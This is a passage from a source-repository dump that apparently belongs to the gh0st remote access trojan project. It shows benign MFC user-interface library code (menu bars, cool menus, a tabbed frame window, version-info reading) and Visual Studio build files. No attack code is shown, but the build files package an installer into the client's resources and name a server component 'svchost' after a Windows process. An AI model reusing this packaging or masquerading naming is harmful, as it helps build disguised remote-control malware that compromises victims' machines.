= GetFileVersionInfoSize(filename, &dwDummyHandle); 52 | if (len <= 0) 53 | return FALSE; 54 | 55 | if (m_pVersionInfo) 56 | delete m_pVersionInfo; 57 | m_pVersionInfo = new BYTE[len]; // allocate version info 58 | if (!::GetFileVersionInfo(filename, 0, len, m_pVersionInfo)) 59 | return FALSE; 60 | 61 | LPVOID lpvi; 62 | UINT iLen; 63 | if (!VerQueryValue(m_pVersionInfo, _T("\\"), &lpvi, &iLen)) 64 | return FALSE; 65 | 66 | // copy fixed info to myself, which am derived from VS_FIXEDFILEINFO 67 | *(VS_FIXEDFILEINFO*)this = *(VS_FIXEDFILEINFO*)lpvi; 68 | 69 | // Get translation info 70 | // Note: VerQueryValue could return a value > 4, in which case 71 | // mulitple languages are supported and VerQueryValue returns an 72 | // array of langID/codepage pairs and you have to decide which to use. 73 | if (VerQueryValue(m_pVersionInfo, 74 | _T("\\VarFileInfo\\Translation"), &lpvi, &iLen) && iLen >= 4) { 75 | m_translation = *(TRANSLATION*)lpvi; 76 | TRACE(_T("code page = %d\n"), m_translation.charset); 77 | } 78 | 79 | return dwSignature == VS_FFI_SIGNATURE; 80 | } 81 | 82 | ////////////////// 83 | // Get string file info. 84 | // Key name is something like "CompanyName". 85 | // returns the value as a CString. 86 | // 87 | CString CModuleVersion::GetValue(LPCTSTR lpKeyName) 88 | { 89 | CString sVal; 90 | if (m_pVersionInfo) { 91 | 92 | // To get a string value must pass query in the form 93 | // 94 | // "\StringFileInfo\\keyname" 95 | // 96 | // where is the languageID concatenated with the 97 | // code page, in hex. Wow. 98 | // 99 | CString query; 100 | query.Format(_T("\\StringFileInfo\\%04x%04x\\%s"), 101 | m_translation.langID, 102 | m_translation.charset, 103 | lpKeyName); 104 | 105 | LPCTSTR pVal; 106 | UINT iLenVal; 107 | if (VerQueryValue(m_pVersionInfo, (LPTSTR)(LPCTSTR)query, 108 | (LPVOID*)&pVal, &iLenVal)) { 109 | 110 | sVal = pVal; 111 | } 112 | } 113 | return sVal; 114 | } 115 | 116 | // typedef for DllGetVersion proc 117 | typedef HRESULT (CALLBACK* DLLGETVERSIONPROC)(DLLVERSIONINFO *); 118 | 119 | ///////////////// 120 | // Get DLL Version by calling DLL's DllGetVersion proc 121 | // 122 | BOOL CModuleVersion::DllGetVersion(LPCTSTR modulename, DLLVERSIONINFO& dvi) 123 | { 124 | CLoadLibrary lib(modulename); 125 | if (!lib) 126 | return FALSE; 127 | 128 | // Must use GetProcAddress because the DLL might not implement 129 | // DllGetVersion. Depending upon the DLL, the lack of implementation of the 130 | // function may be a version marker in itself. 131 | // 132 | DLLGETVERSIONPROC pDllGetVersion = 133 | (DLLGETVERSIONPROC)GetProcAddress(lib, _T("DllGetVersion")); 134 | if (!pDllGetVersion) 135 | return FALSE; 136 | 137 | memset(&dvi, 0, sizeof(dvi)); // clear 138 | dvi.cbSize = sizeof(dvi); // set size for Windows 139 | 140 | return SUCCEEDED((*pDllGetVersion)(&dvi)); 141 | } 142 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJ60Lib.clw: -------------------------------------------------------------------------------- 1 | ; CLW file contains information for the MFC ClassWizard 2 | 3 | [General Info] 4 | Version=1 5 | LastClass=CCJTabCtrlBar 6 | LastTemplate=CDialog 7 | NewFileInclude1=#include "stdafx.h" 8 | NewFileInclude2=#include "cj60lib.h" 9 | LastPage=0 10 | 11 | ClassCount=21 12 | Class1=CCJCaption 13 | Class2=CCJControlBar 14 | Class3=CCJDockBar 15 | Class4=CCJExplorerBar 16 | Class5=CCJFlatButton 17 | Class6=CCJFlatComboBox 18 | Class7=CCJFlatHeaderCtrl 19 | Class8=CCJFrameWnd 20 | Class9=CCJListCtrl 21 | Class10=CCJListView 22 | Class11=CCJMDIFrameWnd 23 | Class12=CCJMiniDockFrameWnd 24 | Class13=CCJOutlookBar 25 | Class14=CCJPagerCtrl 26 | Class15=CCJSearchEdit 27 | Class16=CCJSizeDockBar 28 | Class17=CCJTabCtrl 29 | Class18=CCJTabCtrlBar 30 | Class19=CCJToolBar 31 | Class20=CHyperLink 32 | Class21=CShellTree 33 | 34 | ResourceCount=0 35 | 36 | [CLS:CCJCaption] 37 | Type=0 38 | BaseClass=CStatic 39 | HeaderFile=\Src\Include\CJCaption.h 40 | ImplementationFile=CJCaption.cpp 41 | LastObject=CCJCaption 42 | 43 | [CLS:CCJControlBar] 44 | Type=0 45 | BaseClass=CControlBar 46 | HeaderFile=\Src\Include\CJControlBar.h 47 | ImplementationFile=CJControlBar.cpp 48 | LastObject=CCJControlBar 49 | Filter=W 50 | VirtualFilter=WC 51 | 52 | [CLS:CCJDockBar] 53 | Type=0 54 | BaseClass=CDockBar 55 | HeaderFile=\Src\Include\CJDockBar.h 56 | ImplementationFile=CJDockBar.cpp 57 | 58 | [CLS:CCJExplorerBar] 59 | Type=0 60 | BaseClass=CCJControlBar 61 | HeaderFile=\Src\Include\CJExplorerBar.h 62 | ImplementationFile=CJExplorerBar.cpp 63 | Filter=W 64 | VirtualFilter=WC 65 | LastObject=CCJExplorerBar 66 | 67 | [CLS:CCJFlatButton] 68 | Type=0 69 | BaseClass=CButton 70 | HeaderFile=\Src\Include\CJFlatButton.h 71 | ImplementationFile=CJFlatButton.cpp 72 | 73 | [CLS:CCJFlatComboBox] 74 | Type=0 75 | BaseClass=CComboBox 76 | HeaderFile=\Src\Include\CJFlatComboBox.h 77 | ImplementationFile=CJFlatComboBox.cpp 78 | 79 | [CLS:CCJFlatHeaderCtrl] 80 | Type=0 81 | BaseClass=CHeaderCtrl 82 | HeaderFile=\Src\Include\CJFlatHeaderCtrl.h 83 | ImplementationFile=CJFlatHeaderCtrl.cpp 84 | 85 | [CLS:CCJFrameWnd] 86 | Type=0 87 | BaseClass=CFrameWnd 88 | HeaderFile=\Src\Include\CJFrameWnd.h 89 | ImplementationFile=CJFrameWnd.cpp 90 | Filter=T 91 | VirtualFilter=fWC 92 | 93 | [CLS:CCJListCtrl] 94 | Type=0 95 | BaseClass=CListCtrl 96 | HeaderFile=\Src\Include\CJListCtrl.h 97 | ImplementationFile=CJListCtrl.cpp 98 | LastObject=CCJListCtrl 99 | 100 | [CLS:CCJListView] 101 | Type=0 102 | BaseClass=CListView 103 | HeaderFile=\Src\Include\CJListView.h 104 | ImplementationFile=CJListView.cpp 105 | LastObject=CCJListView 106 | Filter=C 107 | VirtualFilter=VWC 108 | 109 | [CLS:CCJMDIFrameWnd] 110 | Type=0 111 | BaseClass=CMDIFrameWnd 112 | HeaderFile=\Src\Include\CJMDIFrameWnd.h 113 | ImplementationFile=CJMDIFrameWnd.cpp 114 | 115 | [CLS:CCJMiniDockFrameWnd] 116 | Type=0 117 | BaseClass=CMiniDockFrameWnd 118 | HeaderFile=\Src\Include\CJMiniDockFrameWnd.h 119 | ImplementationFile=CJMiniDockFrameWnd.cpp 120 | 121 | [CLS:CCJOutlookBar] 122 | Type=0 123 | BaseClass=CListBox 124 | HeaderFile=\Src\Include\CJOutlookBar.h 125 | ImplementationFile=CJOutlookBar.cpp 126 | LastObject=CCJOutlookBar 127 | Filter=W 128 | VirtualFilter=bWC 129 | 130 | [CLS:CCJPagerCtrl] 131 | Type=0 132 | BaseClass=CWnd 133 | HeaderFile=\Src\Include\CJPagerCtrl.h 134 | ImplementationFile=CJPagerCtrl.cpp 135 | 136 | [CLS:CCJSearchEdit] 137 | Type=0 138 | BaseClass=CEdit 139 | HeaderFile=\Src\Include\CJSearchEdit.h 140 | ImplementationFile=CJSearchEdit.cpp 141 | 142 | [CLS:CCJSizeDockBar] 143 | Type=0 144 | BaseClass=CDockBar 145 | HeaderFile=\Src\Include\CJSizeDockBar.h 146 | ImplementationFile=CJSizeDockBar.cpp 147 | Filter=W 148 | LastObject=CCJSizeDockBar 149 | VirtualFilter=DC 150 | 151 | [CLS:CCJTabCtrl] 152 | Type=0 153 | BaseClass=CTabCtrl 154 | HeaderFile=CJTabctrlBar.cpp 155 | ImplementationFile=CJTabctrlBar.cpp 156 | 157 | [CLS:CCJTabCtrlBar] 158 | Type=0 159 | BaseClass=CCJControlBar 160 | HeaderFile=\Src\Include\CJTabCtrlBar.h 161 | ImplementationFile=CJTabctrlBar.cpp 162 | Filter=W 163 | VirtualFilter=WC 164 | LastObject=CCJTabCtrlBar 165 | 166 | [CLS:CCJToolBar] 167 | Type=0 168 | BaseClass=CFlatToolBar 169 | HeaderFile=\Src\Include\CJToolBar.h 170 | ImplementationFile=CJToolBar.cpp 171 | 172 | [CLS:CHyperLink] 173 | Type=0 174 | BaseClass=CStatic 175 | HeaderFile=\Src\Include\hyperlink.h 176 | ImplementationFile=hyperlink.cpp 177 | 178 | [CLS:CShellTree] 179 | Type=0 180 | BaseClass=CTreeCtrl 181 | HeaderFile=\Src\Include\ShellTree.h 182 | ImplementationFile=ShellTree.cpp 183 | 184 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/MenuBar.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1998 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | #ifndef __MENUBAR_H 7 | #define __MENUBAR_H 8 | 9 | #include "subclass.h" 10 | #include "CJToolBar.h" 11 | 12 | ////////////////// 13 | // CMenuBar uses this private class to intercept messages on behalf 14 | // of its owning frame, as well as the MDI client window. Conceptually, 15 | // these should be two different hooks, but I want to save code. 16 | // 17 | class CMenuBarFrameHook : public CSubclassWnd { 18 | protected: 19 | friend class CMenuBar; 20 | CMenuBar* m_pMenuBar; 21 | CMenuBarFrameHook(); 22 | ~CMenuBarFrameHook(); 23 | BOOL Install(CMenuBar* pMenuBar, HWND hWndToHook); 24 | virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp); 25 | }; 26 | 27 | ////////////////// 28 | // CMenuBar implements an Office 97-style menu bar. Use it the way you would 29 | // a CToolBar, only you need not call LoadToolbar. All you have to do is 30 | // 31 | // * Create the CMenuBar from your OnCreate or OnCreateBands handler. 32 | // 33 | // * Call LoadMenu to load a menu. This will set your frame's menu to NULL. 34 | // 35 | // * Implemenent your frame's PreTranslateMessage function, to call 36 | // CMenuBar::TranslateFrameMessage. 37 | // 38 | class AFX_EXT_CLASS CMenuBar : public CCJToolBar { 39 | public: 40 | BOOL m_bAutoRemoveFrameMenu; // set frame's menu to NULL 41 | 42 | CMenuBar(); 43 | ~CMenuBar(); 44 | 45 | // You must call this from your frame's PreTranslateMessage fn 46 | virtual BOOL TranslateFrameMessage(MSG* pMsg); 47 | 48 | HMENU LoadMenu(HMENU hmenu); // load menu 49 | HMENU LoadMenu(LPCSTR lpszMenuName); // ...from resource file 50 | HMENU LoadMenu(UINT nID) { 51 | return LoadMenu(MAKEINTRESOURCE(nID)); 52 | } 53 | HMENU GetMenu() { return m_hmenu; } // get current menu 54 | 55 | enum TRACKINGSTATE { // menubar has three states: 56 | TRACK_NONE = 0, // * normal, not tracking anything 57 | TRACK_BUTTON, // * tracking buttons (F10/Alt mode) 58 | TRACK_POPUP // * tracking popups 59 | }; 60 | 61 | TRACKINGSTATE GetTrackingState(int& iPopup) { 62 | iPopup = m_iPopupTracking; return m_iTrackingState; 63 | } 64 | static BOOL bTRACE; // set TRUE to see TRACE msgs 65 | 66 | protected: 67 | friend class CMenuBarFrameHook; 68 | 69 | CMenuBarFrameHook m_frameHook; // hooks frame window messages 70 | CStringArray m_arStrings; // array of menu item names 71 | HMENU m_hmenu; // the menu 72 | 73 | // menu tracking stuff: 74 | int m_iPopupTracking; // which popup I'm tracking if any 75 | int m_iNewPopup; // next menu to track 76 | BOOL m_bProcessRightArrow; // process l/r arrow keys? 77 | BOOL m_bProcessLeftArrow; // ... 78 | BOOL m_bEscapeWasPressed; // user pressed escape to exit menu 79 | CPoint m_ptMouse; // mouse location when tracking popup 80 | HMENU m_hMenuTracking; // current popup I'm tracking 81 | 82 | TRACKINGSTATE m_iTrackingState; // current tracking state 83 | 84 | // helpers 85 | void RecomputeToolbarSize(); 86 | void RecomputeMenuLayout(); 87 | void UpdateFont(); 88 | int GetNextOrPrevButton(int iButton, BOOL bPrev); 89 | void SetTrackingState(TRACKINGSTATE iState, int iButton=-1); 90 | void TrackPopup(int iButton); 91 | void ToggleTrackButtonMode(); 92 | void CancelMenuAndTrackNewOne(int iButton); 93 | void OnMenuSelect(HMENU hmenu, UINT nItemID); 94 | CPoint ComputeMenuTrackPoint(const CRect& rcButn, TPMPARAMS& tpm); 95 | 96 | BOOL IsValidButton(int iButton) const 97 | { return 0 <= iButton && iButton < GetButtonCount(); } 98 | 99 | virtual BOOL OnMenuInput(MSG& m); // handle popup menu input 100 | 101 | // overrides 102 | virtual void OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle); 103 | int HitTest(CPoint p) const; 104 | 105 | // command/message handlers 106 | afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); 107 | afx_msg void OnLButtonDown(UINT nFlags, CPoint point); 108 | afx_msg void OnMouseMove(UINT nFlags, CPoint point); 109 | afx_msg void OnSize(UINT nType, int cx, int cy); 110 | afx_msg void OnUpdateMenuButton(CCmdUI* pCmdUI); 111 | afx_msg LRESULT OnSetMenuNull(WPARAM wp, LPARAM lp); 112 | 113 | static LRESULT CALLBACK MenuInputFilter(int code, WPARAM wp, LPARAM lp); 114 | 115 | DECLARE_DYNAMIC(CMenuBar) 116 | DECLARE_MESSAGE_MAP() 117 | 118 | #ifdef _DEBUG 119 | virtual void AssertValid() const; 120 | virtual void Dump(CDumpContext& dc) const; 121 | #endif 122 | }; 123 | 124 | #endif 125 | -------------------------------------------------------------------------------- /Server/install/install.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | Win32 7 | 8 | 9 | Template 10 | Win32 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | Application 20 | 21 | 22 | Application 23 | false 24 | MultiByte 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | .\Release\ 39 | .\Release\ 40 | false 41 | 42 | 43 | 44 | MultiThreaded 45 | OnlyExplicitInline 46 | true 47 | true 48 | MaxSpeed 49 | true 50 | Level3 51 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 52 | .\Release\ 53 | true 54 | .\Release\install.pch 55 | .\Release\ 56 | .\Release\ 57 | 58 | 59 | true 60 | NDEBUG;%(PreprocessorDefinitions) 61 | .\Release\install.tlb 62 | true 63 | Win32 64 | 65 | 66 | 0x0804 67 | NDEBUG;%(PreprocessorDefinitions) 68 | 69 | 70 | true 71 | .\Release\install.bsc 72 | 73 | 74 | true 75 | Console 76 | false 77 | ../../gh0st/res/install.exe 78 | odbc32.lib;odbccp32.lib;Shlwapi.lib;%(AdditionalDependencies) 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /gh0st/TabSDIFrameWnd.cpp: -------------------------------------------------------------------------------- 1 | /********************************************************************** 2 | ** 3 | ** TabSDIFrameWnd.cpp : implementation file of CTabSDIFrameWnd class 4 | ** 5 | ** by Andrzej Markowski July 2005 6 | ** 7 | **********************************************************************/ 8 | 9 | #include "stdafx.h" 10 | #include "TabSDIFrameWnd.h" 11 | 12 | #ifdef _DEBUG 13 | #define new DEBUG_NEW 14 | #undef THIS_FILE 15 | static char THIS_FILE[] = __FILE__; 16 | #endif 17 | 18 | ///////////////////////////////////////////////////////////////////////////// 19 | // CTabSDIFrameWnd 20 | 21 | IMPLEMENT_DYNCREATE(CTabSDIFrameWnd, CFrameWnd) 22 | 23 | CTabSDIFrameWnd::CTabSDIFrameWnd() 24 | { 25 | } 26 | 27 | CTabSDIFrameWnd::~CTabSDIFrameWnd() 28 | { 29 | } 30 | 31 | 32 | BEGIN_MESSAGE_MAP(CTabSDIFrameWnd, CFrameWnd) 33 | //{{AFX_MSG_MAP(CTabSDIFrameWnd) 34 | // NOTE - the ClassWizard will add and remove mapping macros here. 35 | //}}AFX_MSG_MAP 36 | ON_NOTIFY(CTCN_SELCHANGE, IDC_TABCTRL, OnSelchangeTabctrl) 37 | ON_NOTIFY(CTCN_CLICK, IDC_TABCTRL, OnClickTabctrl) 38 | END_MESSAGE_MAP() 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | // CTabSDIFrameWnd message handlers 42 | 43 | void CTabSDIFrameWnd::OnSelchangeTabctrl(NMHDR* pNMHDR, LRESULT* pResult) 44 | { 45 | SetCurView(((CTC_NMHDR*)pNMHDR)->nItem); 46 | *pResult = 0; 47 | } 48 | 49 | void CTabSDIFrameWnd::OnClickTabctrl(NMHDR* pNMHDR, LRESULT* pResult) 50 | { 51 | if(((CTC_NMHDR*)pNMHDR)->nItem==CTCHT_ONCLOSEBUTTON) 52 | DeleteActiveView(); 53 | *pResult = 0; 54 | } 55 | 56 | BOOL CTabSDIFrameWnd::AddView(CString sLabel, CView *pView, CString sTooltip) 57 | { 58 | CDocument* pDoc = GetActiveDocument(); 59 | CString sTitle = pDoc->GetTitle(); 60 | int nOldSel = m_wndTab.GetCurSel(); 61 | int nCurSel = m_wndTab.InsertItem(m_wndTab.GetItemCount(),sLabel,(DWORD)pView); 62 | m_wndTab.SetCurSel(nCurSel); 63 | m_wndTab.SetItemTooltipText(nCurSel,sTooltip); 64 | 65 | if(nOldSel>=0) 66 | { 67 | DWORD pViewRemove; 68 | m_wndTab.GetItemData(nOldSel,pViewRemove); 69 | 70 | pView->SetDlgCtrlID(AFX_IDW_PANE_FIRST); 71 | ((CView*)pViewRemove)->SetDlgCtrlID(AFX_IDW_PANE_FIRST+1); 72 | 73 | pView->ShowWindow(SW_SHOW); 74 | ((CView*)pViewRemove)->ShowWindow(SW_HIDE); 75 | 76 | pDoc->AddView(pView); 77 | pDoc->RemoveView((CView*)pViewRemove); 78 | 79 | SetActiveView(pView); 80 | RecalcLayout(); 81 | pDoc->SetTitle(sTitle); 82 | } 83 | return TRUE; 84 | } 85 | 86 | BOOL CTabSDIFrameWnd::DeleteActiveView() 87 | { 88 | if(m_wndTab.GetItemCount()<2) 89 | return FALSE; 90 | 91 | CDocument* pDoc = GetActiveDocument(); 92 | CString sTitle = pDoc->GetTitle(); 93 | CView* pViewRemove = GetActiveView(); 94 | 95 | for(int i=0; iSetDlgCtrlID(AFX_IDW_PANE_FIRST); 106 | pViewRemove->SetDlgCtrlID(AFX_IDW_PANE_FIRST+1); 107 | 108 | pView->ShowWindow(SW_SHOW); 109 | pViewRemove->ShowWindow(SW_HIDE); 110 | 111 | pDoc->AddView(pView); 112 | pDoc->RemoveView(pViewRemove); 113 | 114 | SetActiveView(pView); 115 | pViewRemove->DestroyWindow(); 116 | RecalcLayout(); 117 | 118 | pDoc->SetTitle(sTitle); 119 | return TRUE; 120 | } 121 | } 122 | return FALSE; 123 | } 124 | 125 | void CTabSDIFrameWnd::DeleteContents() 126 | { 127 | for(int i=0; iDestroyWindow(); 133 | } 134 | m_wndTab.DeleteAllItems(); 135 | } 136 | 137 | BOOL CTabSDIFrameWnd::SetCurView(int nNdx) 138 | { 139 | if(nNdx>=0 && nNdxGetTitle(); 148 | CView* pView = (CView*)dwData; 149 | CView* pViewRemove = GetActiveView(); 150 | 151 | if(pView==pViewRemove) 152 | { 153 | pView->ShowWindow(SW_HIDE); 154 | pView->ShowWindow(SW_SHOW); 155 | return TRUE; 156 | } 157 | pView->SetDlgCtrlID(AFX_IDW_PANE_FIRST); 158 | pViewRemove->SetDlgCtrlID(AFX_IDW_PANE_FIRST+1); 159 | 160 | pView->ShowWindow(SW_SHOW); 161 | pViewRemove->ShowWindow(SW_HIDE); 162 | 163 | pDoc->AddView(pView); 164 | pDoc->RemoveView(pViewRemove); 165 | 166 | SetActiveView(pView); 167 | RecalcLayout(); 168 | pDoc->SetTitle(sTitle); 169 | return TRUE; 170 | } 171 | return FALSE; 172 | } 173 | -------------------------------------------------------------------------------- /Server/svchost/svchost.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {b201ecc6-c6d9-4dea-9eaf-a36babafb1b6} 6 | cpp;c;csvchost;rc;def;r;odl;idl;hpj;bat 7 | 8 | 9 | {8281de94-cbfa-4e02-b83a-9847bc5a2087} 10 | h;hpp;hsvchost;hm;inl 11 | 12 | 13 | {d904820d-a19d-461e-b332-3c167945f7d9} 14 | ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | Source Files 50 | 51 | 52 | Source Files 53 | 54 | 55 | Source Files 56 | 57 | 58 | Source Files 59 | 60 | 61 | Source Files 62 | 63 | 64 | Source Files 65 | 66 | 67 | Source Files 68 | 69 | 70 | Source Files 71 | 72 | 73 | Source Files 74 | 75 | 76 | 77 | 78 | Source Files 79 | 80 | 81 | 82 | 83 | Header Files 84 | 85 | 86 | Header Files 87 | 88 | 89 | Header Files 90 | 91 | 92 | Header Files 93 | 94 | 95 | Header Files 96 | 97 | 98 | Header Files 99 | 100 | 101 | Header Files 102 | 103 | 104 | Header Files 105 | 106 | 107 | Header Files 108 | 109 | 110 | Header Files 111 | 112 | 113 | Header Files 114 | 115 | 116 | Header Files 117 | 118 | 119 | Header Files 120 | 121 | 122 | Header Files 123 | 124 | 125 | Header Files 126 | 127 | 128 | Header Files 129 | 130 | 131 | Header Files 132 | 133 | 134 | Header Files 135 | 136 | 137 | Header Files 138 | 139 | 140 | Header Files 141 | 142 | 143 | Header Files 144 | 145 | 146 | Header Files 147 | 148 | 149 | Header Files 150 | 151 | 152 | Header Files 153 | 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CoolMenu.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // 199 Microsoft Systems Journal. 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | // ========================================================================== 7 | // HISTORY: 8 | // ========================================================================== 9 | // 1.01 13 Aug 1998 - Andrew Bancroft [ABancroft@lgc.com] - Since we've already 10 | // added the entire toolbar to the imagelist we need to 11 | // increment nNextImage even if we didn't add this button to 12 | // m_mapIDtoImage in the LoadToolbar() method. 13 | // 1.01a 13 Aug 1998 - Peter Tewkesbury - Added AddSingleBitmap(...) 14 | // method for adding a single bitmap to a pulldown 15 | // menu item. 16 | // 1.02 13 Aug 1998 - Omar L Francisco - Fixed bug with lpds->CtlType 17 | // and lpds->itemData item checking. 18 | // 1.03 12 Nov 1998 - Fixes debug assert in system menu. - Wang Jun 19 | // 1.04 17 Nov 1998 - Fixes debug assert when you maximize a view - Wang Jun 20 | // window, then try to use the system menu for the view. 21 | // 1.05 09 Jan 1998 - Seain B. Conover [sc@tarasoft.com] - Fix for virtual 22 | // key names. 23 | // 1.06 24 Feb 1999 - Michael Lange [michael.home@topdogg.com] - Fix for memory 24 | // leak in CMyItemData structure, added a destructor that 25 | // calls text.Empty(). 26 | // - Boris Kartamishev [kbv@omegasoftware.com] - Fix for resource 27 | // ID bug. 28 | // - Jeremy Horgan [jeremyhorgan@hotmail.com] - During 29 | // accelerator key processing OnInitMenuPopup() calls 30 | // ConvertMenu() which allocates a new CMyItemData for each 31 | // menu item. This is memory is normally freed by a call to 32 | // OnMenuSelect(), which is not called when processing 33 | // accelerator keys. This results in a memory leak. This was 34 | // fixed by modifying the ~CCoolMenuManager() destructor. 35 | // 1.07 24 Feb 1999 - Koji MATSUNAMI [kmatsu@inse.co.jp] - Fixed problem with 36 | // popup menus being drawn correctly as cool menus. 37 | // ========================================================================== 38 | // 39 | ///////////////////////////////////////////////////////////////////////////// 40 | 41 | #ifndef __COOLMENU_H__ 42 | #define __COOLMENU_H__ 43 | 44 | #include "SubClass.h" 45 | 46 | ////////////////// 47 | // CCoolMenuManager implements "cool" menus with buttons in them. To use: 48 | // 49 | // * Instantiate in your CMainFrame. 50 | // * Call Install to install it 51 | // * Call LoadToolbars or LoadToolbar to load toolbars 52 | // 53 | // Don't forget to link with CoolMenu.cpp, Subclass.cpp and DrawTool.cpp! 54 | // 55 | class AFX_EXT_CLASS CCoolMenuManager : private CSubclassWnd { 56 | public: 57 | DECLARE_DYNAMIC(CCoolMenuManager) 58 | CCoolMenuManager(); 59 | ~CCoolMenuManager(); 60 | 61 | // You can set these any time 62 | BOOL m_bShowButtons; // use to control whether buttons are shown 63 | BOOL m_bAutoAccel; // generate auto accelerators 64 | BOOL m_bUseDrawState; // use ::DrawState for disabled buttons 65 | BOOL m_bDrawDisabledButtonsInColor; // draw disabled buttons in color 66 | // (only if m_bUseDrawState = FALSE) 67 | 68 | // public functions to use 69 | void Install(CFrameWnd* pFrame); // connect to main frame 70 | BOOL LoadToolbars(const UINT* arIDs, int n); // load multiple toolbars 71 | BOOL LoadToolbar(UINT nID); // load one toolbar 72 | BOOL AddSingleBitmap(UINT nBitmapID, UINT n, UINT *nID); 73 | 74 | // should never need to call: 75 | virtual void Destroy(); // destroys everything--to re-load new toolbars? 76 | virtual void Refresh(); // called when system colors, etc change 77 | static HBITMAP GetMFCDotBitmap(); // get.. 78 | static void FixMFCDotBitmap(); // and fix MFC's dot bitmap 79 | 80 | static BOOL bTRACE; // Set TRUE to see extra diagnostics in DEBUG code 81 | 82 | protected: 83 | CFrameWnd* m_pFrame; // frame window I belong to 84 | CUIntArray m_arToolbarID; // array of toolbar IDs loaded 85 | CImageList m_ilButtons; // image list for all buttons 86 | CMapWordToPtr m_mapIDtoImage;// maps command ID -> image list index 87 | CMapWordToPtr m_mapIDtoAccel;// maps command ID -> ACCEL* 88 | HACCEL m_hAccel; // current accelerators, if any 89 | ACCEL* m_pAccel; // ..and table in memory 90 | CPtrList m_menuList; // list of HMENU's initialized 91 | CSize m_szBitmap; // size of button bitmap 92 | CSize m_szButton; // size of button (including shadow) 93 | CFont m_fontMenu; // menu font 94 | 95 | // helpers 96 | void DestroyAccel(); 97 | void DrawMenuText(CDC& dc, CRect rc, CString text, COLORREF color); 98 | BOOL Draw3DCheckmark(CDC& dc, const CRect& rc, BOOL bSelected, 99 | HBITMAP hbmCheck=NULL); 100 | void ConvertMenu(CMenu* pMenu,UINT nIndex,BOOL bSysMenu,BOOL bShowButtons); 101 | void LoadAccel(HACCEL hAccel); 102 | CString GetVirtualKeyName( const CString strVirtKey ) const; 103 | BOOL AppendAccelName(CString& sItemName, UINT nID); 104 | CFont* GetMenuFont(); 105 | 106 | // Get button index for given command ID, or -1 if not found 107 | int GetButtonIndex(WORD nID) { 108 | void* val; 109 | return m_mapIDtoImage.Lookup(nID, val) ? (int)val : -1; 110 | } 111 | 112 | // Get ACCEL structure associated with a given command ID 113 | ACCEL* GetAccel(WORD nID) { 114 | void* val; 115 | return m_mapIDtoAccel.Lookup(nID, val) ? (ACCEL*)val : NULL; 116 | } 117 | 118 | // window proc to hook frame using CSubclassWnd implementation 119 | virtual LRESULT WindowProc(UINT msg, WPARAM wp, LPARAM lp); 120 | 121 | // CSubclassWnd message handlers 122 | virtual void OnInitMenuPopup(CMenu* pMenu, UINT nIndex, BOOL bSysMenu); 123 | virtual BOOL OnMeasureItem(LPMEASUREITEMSTRUCT lpms); 124 | virtual BOOL OnDrawItem(LPDRAWITEMSTRUCT lpds); 125 | virtual LONG OnMenuChar(UINT nChar, UINT nFlags, CMenu* pMenu); 126 | virtual void OnMenuSelect(UINT nItemID, UINT nFlags, HMENU hSysMenu); 127 | }; 128 | 129 | ////////////////// 130 | // Friendly version of MENUITEMINFO initializes itself 131 | // 132 | struct CMenuItemInfo : public MENUITEMINFO { 133 | CMenuItemInfo() 134 | { memset(this, 0, sizeof(MENUITEMINFO)); 135 | cbSize = sizeof(MENUITEMINFO); 136 | } 137 | }; 138 | 139 | #endif // __COOLMENU_H__ -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CoolBar.cpp: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1998 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | // CCoolBar implements coolbars for MFC. 7 | // 8 | #include "StdAfx.h" 9 | #include "CoolBar.h" 10 | #include "ModulVer.h" 11 | 12 | #ifdef _DEBUG 13 | #define new DEBUG_NEW 14 | #undef THIS_FILE 15 | static char THIS_FILE[] = __FILE__; 16 | #endif 17 | 18 | // if you want to see extra TRACE diagnostics, set below to TRUE 19 | BOOL CCoolBar::bTRACE = FALSE; 20 | 21 | #ifdef _DEBUG 22 | #define CBTRACEFN \ 23 | CTraceFn __fooble; \ 24 | if (bTRACE) \ 25 | TRACE 26 | #define CBTRACE \ 27 | if (bTRACE) \ 28 | TRACE 29 | #else 30 | #define CBTRACEFN TRACE 31 | #define CBTRACE TRACE 32 | #endif 33 | 34 | IMPLEMENT_DYNAMIC(CCoolBar, CControlBar) 35 | 36 | BEGIN_MESSAGE_MAP(CCoolBar, CControlBar) 37 | //{{AFX_MSG_MAP(CCoolBar) 38 | ON_WM_CREATE() 39 | ON_WM_PAINT() 40 | ON_WM_ERASEBKGND() 41 | ON_NOTIFY_REFLECT(RBN_HEIGHTCHANGE, OnHeightChange) 42 | //}}AFX_MSG_MAP 43 | END_MESSAGE_MAP() 44 | 45 | 